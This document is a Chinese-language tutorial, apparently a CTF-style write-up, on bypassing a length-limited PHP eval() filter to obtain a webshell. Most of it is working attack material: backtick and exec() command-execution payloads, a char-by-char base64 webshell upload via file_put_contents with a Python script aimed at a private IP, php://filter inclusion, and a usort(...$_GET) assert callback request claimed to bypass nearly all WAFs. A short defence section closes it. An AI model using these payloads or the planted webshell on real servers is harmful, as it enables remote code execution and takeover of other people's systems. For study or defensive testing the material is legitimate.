在 PHP 代码中,如果 eval($param);
存在且长度受限,并且过滤了 eval
和 assert
,仍然可以通过多种方法绕过限制,获取 Webshell。
源码
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
1. 命令执行的利用
由于 eval
仍然允许代码执行,因此可以通过反引号(``)或 exec()
来执行系统命令。
最短的绕过方式
param=`$_GET[1]`;&1=whoami
反引号 `` 在 PHP 中等价于
shell_exec()
,执行$_GET[1]
传入的命令。&1=bash
使eval
执行bash
命令,成功执行系统命令。
使用 exec() 进行命令执行
param=exec($_GET[1]);
直接使用
exec()
执行命令,无需反引号。适用于某些服务器禁用了反引号但允许
exec()
的情况。
2. 本地文件包含(LFI)利用
利用 file_put_contents()
写入 Webshell
file_put_contents需要三个参数:
filename:要被写入数据的文件名。
data:要写入的数据。类型可以是 string,array 或者是 stream 资源。
如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))。
flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。
PHP 提供 file_put_contents()
函数,可用于将数据写入文件,我们可以利用它写入恶意 PHP 代码。
param=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents(N, 'a', 8);
N
是未定义的常量,会被转换为字符串'N'
,即写入N
文件。a
被解析为'a'
,写入N
文件。8
(FILE_APPEND
)表示追加写入,而不是覆盖。
但该方法有一个问题:
file_put_contents()
无法写入<
等特殊字符,导致无法直接写入 Webshell。解决方案:逐字符写入 Base64 编码的 Webshell,再通过
include
解码执行。
最终利用代码:
# 逐字符写入 Base64 编码后的 Webshell
param=$_GET[a](N,a,8);&a=file_put_contents
# 解码并包含 Webshell
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
传入脚本:
import requests
string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"
for i in string:
payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
response = requests.get(payload)
if response.status_code == 200:
print(i)
else:
print(response.status_code)
3. 变长参数(Variadic Parameters)+ 回调漏洞
PHP 5.6 引入了变长参数特性(...
),允许将数组展开为函数参数。结合 usort()
的回调特性,可以利用 assert()
远程执行代码。
利用 usort(...$_GET);
进行代码执行
构造 HTTP 请求:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
param=usort(...$_GET);
原理解析:
$_GET[1] = ['test', 'var_dump($_SERVER);']
,数组展开后传入usort()
。$_GET[2] = 'assert'
,作为usort()
的回调函数。usort($array, 'assert')
执行assert('var_dump($_SERVER);')
,成功执行 PHP 代码。直接替换
var_dump($_SERVER);
为 Webshell 代码,即可实现远程控制。
总结
方法 | 关键技术 | 绕过原理 | 适用情况 |
---|---|---|---|
反引号命令执行 | \ command`` |
执行系统命令 | PHP 允许 shell_exec() |
exec() |
exec($_GET[1]); |
执行 GET 传入命令 | exec() 未被禁用 |
file_put_contents() |
写入 Base64 Webshell | 逐字符写入 & 解码包含 | LFI 可用 |
usort(...$_GET); |
变长参数展开 | usort() 回调漏洞 |
PHP >= 5.6 |
其中,usort(...$_GET);
的方法几乎可以绕过所有 WAF 规则,因此特别危险。
防御措施
移除
eval()
,使用switch
或whitelist
限制可执行函数。严格过滤输入,使用
preg_match()
限制传入内容,如preg_match('/^[a-z0-9_]+$/i', $param);
。禁用危险函数:在
php.ini
设置disable_functions=eval,assert,exec,shell_exec,system,passthru
。使用 Web 应用防火墙(WAF),防止变长参数展开、文件包含等攻击。